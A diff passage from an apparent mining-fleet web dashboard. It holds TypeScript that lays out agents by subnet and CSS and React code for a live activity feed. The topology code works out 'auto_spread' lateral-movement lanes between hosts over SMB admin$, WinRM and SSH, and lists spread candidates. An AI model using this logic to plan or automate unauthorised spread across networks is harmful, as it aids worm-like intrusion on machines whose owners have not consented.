|
return (h % 10000) / 10000;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Two independent stable floats for x/y from one seed. */
|
||||||
|
function stableXY(seed: string): { x: number; y: number } {
|
||||||
|
return {
|
||||||
|
x: stableHash(seed + ':x'),
|
||||||
|
y: stableHash(seed + ':y'),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface SubnetLayout {
|
||||||
|
subnet: string;
|
||||||
|
label: string;
|
||||||
|
cx: number; // center x, 0-100 viewBox
|
||||||
|
cy: number; // center y, 0-100 viewBox
|
||||||
|
r: number; // radius of the bubble ring
|
||||||
|
color: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
const SUBNET_PALETTE = [
|
||||||
|
'#00e8f5', // cyan
|
||||||
|
'#b24bf3', // violet
|
||||||
|
'#39ff14', // neon green
|
||||||
|
'#ff2da6', // magenta
|
||||||
|
'#ffb020', // amber
|
||||||
|
'#ff6b35', // orange
|
||||||
|
'#3a86ff', // blue
|
||||||
|
'#06d6a0', // teal
|
||||||
|
'#ffd60a', // yellow
|
||||||
|
'#f72585', // hot pink
|
||||||
|
];
|
||||||
|
|
||||||
|
export function subnetColor(index: number): string {
|
||||||
|
return SUBNET_PALETTE[index % SUBNET_PALETTE.length];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Place subnet bubbles in a circle around the center.
|
||||||
|
* Single subnet gets center position.
|
||||||
|
*/
|
||||||
|
export function layoutSubnets(subnets: string[]): SubnetLayout[] {
|
||||||
|
const total = subnets.length;
|
||||||
|
const BASE_R = 18;
|
||||||
|
const ORBIT_R = total === 1 ? 0 : 28;
|
||||||
|
|
||||||
|
return subnets.map((subnet, i) => {
|
||||||
|
const angle = total === 1 ? 0 : (i / total) * Math.PI * 2 - Math.PI / 2;
|
||||||
|
const cx = 50 + Math.cos(angle) * ORBIT_R;
|
||||||
|
const cy = 50 + Math.sin(angle) * ORBIT_R;
|
||||||
|
return {
|
||||||
|
subnet,
|
||||||
|
label: subnetLabel(subnet),
|
||||||
|
cx,
|
||||||
|
cy,
|
||||||
|
r: BASE_R,
|
||||||
|
color: subnetColor(i),
|
||||||
|
};
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface TopoNode {
|
||||||
|
id: string;
|
||||||
|
agentId: string;
|
||||||
|
label: string;
|
||||||
|
x: number;
|
||||||
|
y: number;
|
||||||
|
subnet: string;
|
||||||
|
subnetColor: string;
|
||||||
|
online: boolean;
|
||||||
|
platform: string;
|
||||||
|
ip: string;
|
||||||
|
hashrate: number;
|
||||||
|
latencyMs?: number;
|
||||||
|
joinLane?: string;
|
||||||
|
canSpread: boolean;
|
||||||
|
capabilities: Agent['capabilities'];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Compute pixel positions for all nodes.
|
||||||
|
* Nodes within a subnet scatter around the subnet center.
|
||||||
|
*/
|
||||||
|
export function layoutNodes(
|
||||||
|
agents: Agent[],
|
||||||
|
subnetLayouts: SubnetLayout[],
|
||||||
|
): TopoNode[] {
|
||||||
|
const subnetMap = new Map(subnetLayouts.map((s) => [s.subnet, s]));
|
||||||
|
const subnetAgentCounts = new Map<string, number>();
|
||||||
|
|
||||||
|
for (const a of agents) {
|
||||||
|
const s = parseSubnet(a.ip);
|
||||||
|
subnetAgentCounts.set(s, (subnetAgentCounts.get(s) ?? 0) + 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
const subnetCounters = new Map<string, number>();
|
||||||
|
|
||||||
|
return agents.map((agent): TopoNode => {
|
||||||
|
const subnet = parseSubnet(agent.ip);
|
||||||
|
const layout = subnetMap.get(subnet) ?? { cx: 50, cy: 50, r: 18, color: '#00e8f5', subnet, label: 'Unknown' };
|
||||||
|
const total = subnetAgentCounts.get(subnet) ?? 1;
|
||||||
|
const idx = subnetCounters.get(subnet) ?? 0;
|
||||||
|
subnetCounters.set(subnet, idx + 1);
|
||||||
|
|
||||||
|
// Stable jitter within the bubble radius
|
||||||
|
const jitter = stableXY(`${subnet}:${agent.id}`);
|
||||||
|
const angle = (idx / Math.max(total, 1)) * Math.PI * 2 + (jitter.x - 0.5) * 0.8;
|
||||||
|
const dist = (total === 1 ? 0 : 4 + Math.sqrt(total) * 2.5) * (0.6 + jitter.y * 0.4);
|
||||||
|
const maxDist = layout.r * 0.75;
|
||||||
|
|
||||||
|
return {
|
||||||
|
id: agent.id,
|
||||||
|
agentId: agent.id,
|
||||||
|
label: agent.name,
|
||||||
|
x: layout.cx + Math.cos(angle) * Math.min(dist, maxDist),
|
||||||
|
y: layout.cy + Math.sin(angle) * Math.min(dist, maxDist),
|
||||||
|
subnet,
|
||||||
|
subnetColor: layout.color,
|
||||||
|
online: agent.status === 'online',
|
||||||
|
platform: agent.platform ?? 'unknown',
|
||||||
|
ip: agent.ip ?? '—',
|
||||||
|
hashrate: agent.hashrate_15m ?? 0,
|
||||||
|
latencyMs: agent.latency_ms,
|
||||||
|
joinLane: agent.join_lane,
|
||||||
|
canSpread: !!(agent.capabilities?.auto_spread),
|
||||||
|
capabilities: agent.capabilities,
|
||||||
|
};
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Edge graph ──────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
export type EdgeKind =
|
||||||
|
| 'subnet' // same /24 — implies reachability
|
||||||
|
| 'spread' // lateral spread candidate
|
||||||
|
| 'smb' // SMB admin$ path (Windows + port 445)
|
||||||
|
| 'winrm' // WinRM (Windows + 5985/5986)
|
||||||
|
| 'ssh' // SSH lateral (Linux/Darwin)
|
||||||
|
| 'cross_subnet'; // different subnets, but both spread-capable
|
||||||
|
|
||||||
|
export interface TopoEdge {
|
||||||
|
id: string;
|
||||||
|
sourceId: string;
|
||||||
|
targetId: string;
|
||||||
|
kind: EdgeKind;
|
||||||
|
/** Highlight when either endpoint is selected. */
|
||||||
|
active: boolean;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Determine what spread lanes exist between two agents. */
|
||||||
|
export function spreadLanesBetween(a: Agent, b: Agent): EdgeKind[] {
|
||||||
|
if (!a.capabilities?.auto_spread || !b.capabilities?.auto_spread) return [];
|
||||||
|
const lanes: EdgeKind[] = ['spread'];
|
||||||
|
|
||||||
|
const aWin = (a.platform ?? '').toLowerCase().includes('win');
|
||||||
|
const bWin = (b.platform ?? '').toLowerCase().includes('win');
|
||||||
|
const aLin = (a.platform ?? '').toLowerCase().includes('linux') || (a.platform ?? '').toLowerCase().includes('darwin');
|
||||||
|
const bLin = (b.platform ?? '').toLowerCase().includes('linux') || (b.platform ?? '').toLowerCase().includes('darwin');
|
||||||
|
|
||||||
|
if (aWin && bWin) { lanes.push('smb'); lanes.push('winrm'); }
|
||||||
|
if ((aLin && bWin) || (aWin && bLin) || (aLin && bLin)) lanes.push('ssh');
|
||||||
|
|
||||||
|
return lanes;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Build all edges for the topology graph.
|
||||||
|
*
|
||||||
|
* Rules:
|
||||||
|
* - Same subnet + both online → `subnet` edge
|
||||||
|
* - Both have auto_spread + online → additional `spread` / protocol edges
|
||||||
|
* - Cross-subnet + both spread-capable → `cross_subnet`
|
||||||
|
*/
|
||||||
|
export function buildEdges(agents: Agent[], selectedIds: Set<string>): TopoEdge[] {
|
||||||
|
const online = agents.filter((a) => a.status === 'online');
|
||||||
|
const edges: TopoEdge[] = [];
|
||||||
|
const seen = new Set<string>();
|
||||||
|
|
||||||
|
for (let i = 0; i < online.length; i++) {
|
||||||
|
for (let j = i + 1; j < online.length; j++) {
|
||||||
|
const a = online[i];
|
||||||
|
const b = online[j];
|
||||||
|
const subA = parseSubnet(a.ip);
|
||||||
|
const subB = parseSubnet(b.ip);
|
||||||
|
const sameSubnet = subA === subB && subA !== 'unknown';
|
||||||
|
const edgeKey = [a.id, b.id].sort().join('::');
|
||||||
|
|
||||||
|
if (seen.has(edgeKey)) continue;
|
||||||
|
seen.add(edgeKey);
|
||||||
|
|
||||||
|
const active = selectedIds.has(a.id) || selectedIds.has(b.id);
|
||||||
|
|
||||||
|
if (sameSubnet) {
|
||||||
|
edges.push({ id: edgeKey + ':subnet', sourceId: a.id, targetId: b.id, kind: 'subnet', active });
|
||||||
|
}
|
||||||
|
|
||||||
|
// Spread lanes (may add on top of subnet edge)
|
||||||
|
const lanes = spreadLanesBetween(a, b);
|
||||||
|
for (const lane of lanes) {
|
||||||
|
if (lane === 'spread' && sameSubnet) continue; // subnet edge covers it
|
||||||
|
const spreadKey = edgeKey + ':' + lane;
|
||||||
|
if (seen.has(spreadKey)) continue;
|
||||||
|
seen.add(spreadKey);
|
||||||
|
edges.push({
|
||||||
|
id: spreadKey,
|
||||||
|
sourceId: a.id,
|
||||||
|
targetId: b.id,
|
||||||
|
kind: sameSubnet ? lane : 'cross_subnet',
|
||||||
|
active,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return edges;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Which agents can be reached laterally from a source agent?
|
||||||
|
* Returns agent IDs with the best available lane.
|
||||||
|
*/
|
||||||
|
export function spreadCandidates(
|
||||||
|
source: Agent,
|
||||||
|
allAgents: Agent[],
|
||||||
|
): { agentId: string; lane: EdgeKind }[] {
|
||||||
|
if (!source.capabilities?.auto_spread || source.status !== 'online') return [];
|
||||||
|
const results: { agentId: string; lane: EdgeKind }[] = [];
|
||||||
|
|
||||||
|
for (const target of allAgents) {
|
||||||
|
if (target.id === source.id || target.status !== 'online') continue;
|
||||||
|
const lanes = spreadLanesBetween(source, target);
|
||||||
|
if (lanes.length === 0) continue;
|
||||||
|
// Prefer most specific lane
|
||||||
|
const preferred = lanes.find((l) => l !== 'spread') ?? lanes[0];
|
||||||
|
results.push({ agentId: target.id, lane: preferred });
|
||||||
|
}
|
||||||
|
return results;
|
||||||
|
}
|
||||||
411
server/web/src/pages/ActivityFeedPage.css
Normal file
411
server/web/src/pages/ActivityFeedPage.css
Normal file
@@ -0,0 +1,411 @@
|
|||||||
|
/* ── Live Activity Feed ──────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.activity-page {
|
||||||
|
max-width: 1400px;
|
||||||
|
margin: 0 auto;
|
||||||
|
padding-bottom: 4rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── Hero ────────────────────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.activity-hero {
|
||||||
|
display: flex;
|
||||||
|
align-items: flex-end;
|
||||||
|
justify-content: space-between;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
gap: 1rem;
|
||||||
|
margin-bottom: 1.75rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-hero-text .activity-eyebrow {
|
||||||
|
font-size: 0.7rem;
|
||||||
|
letter-spacing: 0.18em;
|
||||||
|
color: #00e8f5;
|
||||||
|
margin: 0 0 0.25rem;
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-hero-text h1 {
|
||||||
|
font-size: 2rem;
|
||||||
|
font-weight: 800;
|
||||||
|
margin: 0 0 0.3rem;
|
||||||
|
background: linear-gradient(135deg, #00e8f5 0%, #b24bf3 60%, #ff2da6 100%);
|
||||||
|
-webkit-background-clip: text;
|
||||||
|
-webkit-text-fill-color: transparent;
|
||||||
|
background-clip: text;
|
||||||
|
line-height: 1.1;
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-hero-text .page-subtitle {
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-size: 0.82rem;
|
||||||
|
margin: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Live indicator */
|
||||||
|
.activity-live-badge {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.45rem;
|
||||||
|
padding: 0.4rem 0.9rem;
|
||||||
|
background: rgba(57, 255, 20, 0.08);
|
||||||
|
border: 1px solid rgba(57, 255, 20, 0.3);
|
||||||
|
border-radius: 20px;
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
font-size: 0.68rem;
|
||||||
|
letter-spacing: 0.1em;
|
||||||
|
color: #39ff14;
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-live-dot {
|
||||||
|
width: 7px;
|
||||||
|
height: 7px;
|
||||||
|
border-radius: 50%;
|
||||||
|
background: #39ff14;
|
||||||
|
box-shadow: 0 0 6px #39ff14;
|
||||||
|
animation: act-blink 1.5s ease-in-out infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-live-dot.offline {
|
||||||
|
background: #ff4444;
|
||||||
|
box-shadow: 0 0 6px #ff4444;
|
||||||
|
animation: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes act-blink {
|
||||||
|
0%, 100% { opacity: 1; }
|
||||||
|
50% { opacity: 0.3; }
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── Filter bar ──────────────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.activity-filters {
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.5rem;
|
||||||
|
margin-bottom: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-filter-label {
|
||||||
|
font-size: 0.62rem;
|
||||||
|
letter-spacing: 0.1em;
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
margin-right: 0.25rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-type-chip {
|
||||||
|
padding: 0.22rem 0.6rem;
|
||||||
|
border-radius: 16px;
|
||||||
|
font-size: 0.6rem;
|
||||||
|
letter-spacing: 0.08em;
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
border: 1px solid rgba(255,255,255,0.12);
|
||||||
|
background: rgba(255,255,255,0.04);
|
||||||
|
color: var(--text-muted);
|
||||||
|
cursor: pointer;
|
||||||
|
transition: all 0.15s;
|
||||||
|
user-select: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-type-chip:hover {
|
||||||
|
border-color: rgba(255,255,255,0.25);
|
||||||
|
color: #c8d8e8;
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-type-chip.active--connect { background: rgba(57,255,20,0.15); color: #39ff14; border-color: rgba(57,255,20,0.4); }
|
||||||
|
.activity-type-chip.active--disconnect { background: rgba(255,68,68,0.12); color: #ff6b6b; border-color: rgba(255,68,68,0.35); }
|
||||||
|
.activity-type-chip.active--hashrate { background: rgba(0,232,245,0.12); color: #00e8f5; border-color: rgba(0,232,245,0.35); }
|
||||||
|
.activity-type-chip.active--share { background: rgba(178,75,243,0.12); color: #b24bf3; border-color: rgba(178,75,243,0.35); }
|
||||||
|
.activity-type-chip.active--alert { background: rgba(255,107,53,0.12); color: #ff6b35; border-color: rgba(255,107,53,0.35); }
|
||||||
|
.activity-type-chip.active--command { background: rgba(255,176,32,0.12); color: #ffb020; border-color: rgba(255,176,32,0.35); }
|
||||||
|
.activity-type-chip.active--ai { background: rgba(255,45,166,0.12); color: #ff2da6; border-color: rgba(255,45,166,0.35); }
|
||||||
|
.activity-type-chip.active--posture { background: rgba(57,255,20,0.12); color: #39ff14; border-color: rgba(57,255,20,0.35); }
|
||||||
|
|
||||||
|
/* Search input */
|
||||||
|
.activity-search {
|
||||||
|
margin-left: auto;
|
||||||
|
padding: 0.28rem 0.65rem;
|
||||||
|
background: rgba(255,255,255,0.05);
|
||||||
|
border: 1px solid rgba(255,255,255,0.12);
|
||||||
|
border-radius: 6px;
|
||||||
|
color: #c8d8e8;
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
font-size: 0.72rem;
|
||||||
|
outline: none;
|
||||||
|
min-width: 160px;
|
||||||
|
transition: border-color 0.15s;
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-search:focus {
|
||||||
|
border-color: rgba(0,232,245,0.4);
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-search::placeholder {
|
||||||
|
color: var(--text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-clear-btn {
|
||||||
|
padding: 0.22rem 0.6rem;
|
||||||
|
background: none;
|
||||||
|
border: 1px solid rgba(255,255,255,0.1);
|
||||||
|
border-radius: 6px;
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
font-size: 0.6rem;
|
||||||
|
cursor: pointer;
|
||||||
|
transition: all 0.15s;
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-clear-btn:hover {
|
||||||
|
border-color: rgba(255,107,53,0.4);
|
||||||
|
color: #ff6b35;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── Event stream ────────────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.activity-stream-wrap {
|
||||||
|
background: rgba(0,0,0,0.45);
|
||||||
|
border: 1px solid rgba(255,255,255,0.07);
|
||||||
|
border-radius: 14px;
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-stream-header {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.75rem;
|
||||||
|
padding: 0.75rem 1.1rem;
|
||||||
|
border-bottom: 1px solid rgba(255,255,255,0.06);
|
||||||
|
background: rgba(0,0,0,0.2);
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
font-size: 0.62rem;
|
||||||
|
letter-spacing: 0.1em;
|
||||||
|
color: var(--text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-stream-count {
|
||||||
|
margin-left: auto;
|
||||||
|
color: #00e8f5;
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-stream {
|
||||||
|
max-height: 70vh;
|
||||||
|
overflow-y: auto;
|
||||||
|
scrollbar-width: thin;
|
||||||
|
scrollbar-color: rgba(0,232,245,0.15) transparent;
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-stream::-webkit-scrollbar { width: 4px; }
|
||||||
|
.activity-stream::-webkit-scrollbar-track { background: transparent; }
|
||||||
|
.activity-stream::-webkit-scrollbar-thumb { background: rgba(0,232,245,0.15); border-radius: 2px; }
|
||||||
|
|
||||||
|
/* ── Event row ───────────────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.activity-event {
|
||||||
|
display: flex;
|
||||||
|
align-items: flex-start;
|
||||||
|
gap: 0.75rem;
|
||||||
|
padding: 0.55rem 1.1rem;
|
||||||
|
border-bottom: 1px solid rgba(255,255,255,0.03);
|
||||||
|
transition: background 0.1s;
|
||||||
|
animation: act-enter 0.25s ease-out;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes act-enter {
|
||||||
|
from { opacity: 0; transform: translateX(-8px); }
|
||||||
|
to { opacity: 1; transform: translateX(0); }
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-event:hover {
|
||||||
|
background: rgba(255,255,255,0.02);
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-event:last-child {
|
||||||
|
border-bottom: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Event type accent bar */
|
||||||
|
.activity-event-accent {
|
||||||
|
width: 3px;
|
||||||
|
align-self: stretch;
|
||||||
|
border-radius: 2px;
|
||||||
|
flex-shrink: 0;
|
||||||
|
min-height: 16px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.accent--connect { background: #39ff14; box-shadow: 0 0 4px #39ff14; }
|
||||||
|
.accent--disconnect { background: #ff4444; }
|
||||||
|
.accent--hashrate { background: #00e8f5; }
|
||||||
|
.accent--share { background: #b24bf3; }
|
||||||
|
.accent--alert { background: #ff6b35; }
|
||||||
|
.accent--command { background: #ffb020; }
|
||||||
|
.accent--ai { background: #ff2da6; }
|
||||||
|
.accent--posture { background: #39ff14; }
|
||||||
|
.accent--default { background: rgba(255,255,255,0.2); }
|
||||||
|
|
||||||
|
/* Event icon */
|
||||||
|
.activity-event-icon {
|
||||||
|
font-size: 1rem;
|
||||||
|
flex-shrink: 0;
|
||||||
|
margin-top: 0.05rem;
|
||||||
|
width: 18px;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Event body */
|
||||||
|
.activity-event-body {
|
||||||
|
flex: 1;
|
||||||
|
min-width: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-event-main {
|
||||||
|
display: flex;
|
||||||
|
align-items: baseline;
|
||||||
|
gap: 0.5rem;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
line-height: 1.35;
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-event-type-badge {
|
||||||
|
font-size: 0.55rem;
|
||||||
|
letter-spacing: 0.1em;
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
padding: 0.07rem 0.35rem;
|
||||||
|
border-radius: 3px;
|
||||||
|
text-transform: uppercase;
|
||||||
|
flex-shrink: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.badge--connect { background: rgba(57,255,20,0.15); color: #39ff14; }
|
||||||
|
.badge--disconnect { background: rgba(255,68,68,0.15); color: #ff6b6b; }
|
||||||
|
.badge--hashrate { background: rgba(0,232,245,0.12); color: #00e8f5; }
|
||||||
|
.badge--share { background: rgba(178,75,243,0.12); color: #b24bf3; }
|
||||||
|
.badge--alert { background: rgba(255,107,53,0.15); color: #ff6b35; }
|
||||||
|
.badge--command { background: rgba(255,176,32,0.12); color: #ffb020; }
|
||||||
|
.badge--ai { background: rgba(255,45,166,0.12); color: #ff2da6; }
|
||||||
|
.badge--posture { background: rgba(57,255,20,0.1); color: #a8ff78; }
|
||||||
|
.badge--default { background: rgba(255,255,255,0.06); color: #8899aa; }
|
||||||
|
|
||||||
|
.activity-event-agent {
|
||||||
|
font-weight: 600;
|
||||||
|
color: #c8d8e8;
|
||||||
|
font-size: 0.78rem;
|
||||||
|
white-space: nowrap;
|
||||||
|
overflow: hidden;
|
||||||
|
text-overflow: ellipsis;
|
||||||
|
max-width: 150px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-event-msg {
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-size: 0.74rem;
|
||||||
|
flex: 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-event-detail {
|
||||||
|
font-size: 0.65rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
margin-top: 0.15rem;
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
opacity: 0.8;
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-event-ts {
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
font-size: 0.62rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
flex-shrink: 0;
|
||||||
|
margin-top: 0.1rem;
|
||||||
|
opacity: 0.6;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── Empty state ─────────────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.activity-empty {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
padding: 4rem 1rem;
|
||||||
|
gap: 0.75rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
font-size: 0.75rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-empty-icon {
|
||||||
|
font-size: 2.5rem;
|
||||||
|
opacity: 0.3;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── Stat pills row ──────────────────────────────────────────────────────── */
|
||||||
|
|
||||||
|
.activity-stat-pills {
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
gap: 0.5rem;
|
||||||
|
margin-bottom: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-stat-pill {
|
||||||
|
padding: 0.3rem 0.75rem;
|
||||||
|
border-radius: 20px;
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
font-size: 0.65rem;
|
||||||
|
letter-spacing: 0.06em;
|
||||||
|
border: 1px solid rgba(255,255,255,0.08);
|
||||||
|
background: rgba(255,255,255,0.03);
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.35rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-stat-pill-dot {
|
||||||
|
width: 6px;
|
||||||
|
height: 6px;
|
||||||
|
border-radius: 50%;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ── Ticker strip (compact, full-width) ──────────────────────────────────── */
|
||||||
|
|
||||||
|
.activity-ticker-strip {
|
||||||
|
width: 100%;
|
||||||
|
overflow: hidden;
|
||||||
|
background: rgba(0,0,0,0.35);
|
||||||
|
border: 1px solid rgba(255,255,255,0.06);
|
||||||
|
border-radius: 8px;
|
||||||
|
padding: 0.45rem 0;
|
||||||
|
margin-bottom: 1.5rem;
|
||||||
|
position: relative;
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-ticker-inner {
|
||||||
|
display: flex;
|
||||||
|
gap: 2.5rem;
|
||||||
|
padding: 0 1rem;
|
||||||
|
overflow-x: auto;
|
||||||
|
scrollbar-width: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-ticker-inner::-webkit-scrollbar { display: none; }
|
||||||
|
|
||||||
|
.activity-ticker-item {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.4rem;
|
||||||
|
font-family: 'Share Tech Mono', monospace;
|
||||||
|
font-size: 0.65rem;
|
||||||
|
white-space: nowrap;
|
||||||
|
flex-shrink: 0;
|
||||||
|
color: #c8d8e8;
|
||||||
|
opacity: 0.8;
|
||||||
|
}
|
||||||
|
|
||||||
|
.activity-ticker-item .act-dot {
|
||||||
|
width: 5px;
|
||||||
|
height: 5px;
|
||||||
|
border-radius: 50%;
|
||||||
|
flex-shrink: 0;
|
||||||
|
}
|
||||||
428
server/web/src/pages/ActivityFeedPage.tsx
Normal file
428
server/web/src/pages/ActivityFeedPage.tsx
Normal file
@@ -0,0 +1,428 @@
|
|||||||
|
import { useState, useEffect, useRef, useMemo, useCallback } from 'react';
|
||||||
|
import { useWebSocket } from '../hooks/useWebSocket';
|
||||||
|
import { formatHashrate } from '../help/fleetFilters';
|
||||||
|
import './ActivityFeedPage.css';
|
||||||
|
|
||||||
|
// ── Event types ───────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
export type ActivityEventKind =
|
||||||
|
| 'connect'
|
||||||
|
| 'disconnect'
|
||||||
|
| 'hashrate'
|
||||||
|
| 'share'
|
||||||
|
| 'alert'
|
||||||
|
| 'command'
|
||||||
|
| 'ai'
|
||||||
|
| 'posture'
|
||||||
|
| 'default';
|
||||||
|
|
||||||
|
export interface ActivityEvent {
|
||||||
|
id: string;
|
||||||
|
kind: ActivityEventKind;
|
||||||
|
agentId?: string;
|
||||||
|
agentName?: string;
|
||||||
|
message: string;
|
||||||
|
detail?: string;
|
||||||
|
ts: Date;
|
||||||
|
raw?: unknown;
|
||||||
|
}
|
||||||
|
|
||||||
|
let _eid = 0;
|
||||||
|
function eid() { return String(++_eid); }
|
||||||
|
|
||||||
|
// ── Visual config per kind ────────────────────────────────────────────────
|
||||||
|
|
||||||
|
const KIND_CONFIG: Record<ActivityEventKind, { icon: string; label: string; color: string }> = {
|
||||||
|
connect: { icon: '🟢', label: 'ONLINE', color: '#39ff14' },
|
||||||
|
disconnect: { icon: '🔴', label: 'OFFLINE', color: '#ff4444' },
|
||||||
|
hashrate: { icon: '⚡', label: 'HASHRATE', color: '#00e8f5' },
|
||||||
|
share: { icon: '✅', label: 'SHARE', color: '#b24bf3' },
|
||||||
|
alert: { icon: '⚠️', label: 'ALERT', color: '#ff6b35' },
|
||||||
|
command: { icon: '📡', label: 'COMMAND', color: '#ffb020' },
|
||||||
|
ai: { icon: '🤖', label: 'AI', color: '#ff2da6' },
|
||||||
|
posture: { icon: '🛡️', label: 'POSTURE', color: '#a8ff78' },
|
||||||
|
default: { icon: '·', label: 'EVENT', color: '#8899aa' },
|
||||||
|
};
|
||||||
|
|
||||||
|
const ALL_KINDS = Object.keys(KIND_CONFIG) as ActivityEventKind[];
|
||||||
|
const MAX_EVENTS = 500;
|
||||||
|
|
||||||
|
function fmt(d: Date): string {
|
||||||
|
return d.toLocaleTimeString([], { hour: '2-digit', minute: '2-digit', second: '2-digit' });
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Event row ─────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
function EventRow({ event }: { event: ActivityEvent }) {
|
||||||
|
const cfg = KIND_CONFIG[event.kind];
|
||||||
|
return (
|
||||||
|
<div className="activity-event">
|
||||||
|
<div className={`activity-event-accent accent--${event.kind}`} />
|
||||||
|
<span className="activity-event-icon">{cfg.icon}</span>
|
||||||
|
<div className="activity-event-body">
|
||||||
|
<div className="activity-event-main">
|
||||||
|
<span className={`activity-event-type-badge badge--${event.kind}`}>{cfg.label}</span>
|
||||||
|
{event.agentName && (
|
||||||
|
<span className="activity-event-agent" title={event.agentId}>
|
||||||
|
{event.agentName}
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
<span className="activity-event-msg">{event.message}</span>
|
||||||
|
</div>
|
||||||
|
{event.detail && (
|
||||||
|
<div className="activity-event-detail">{event.detail}</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
<span className="activity-event-ts">{fmt(event.ts)}</span>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Main page ─────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
export default function ActivityFeedPage() {
|
||||||
|
const {
|
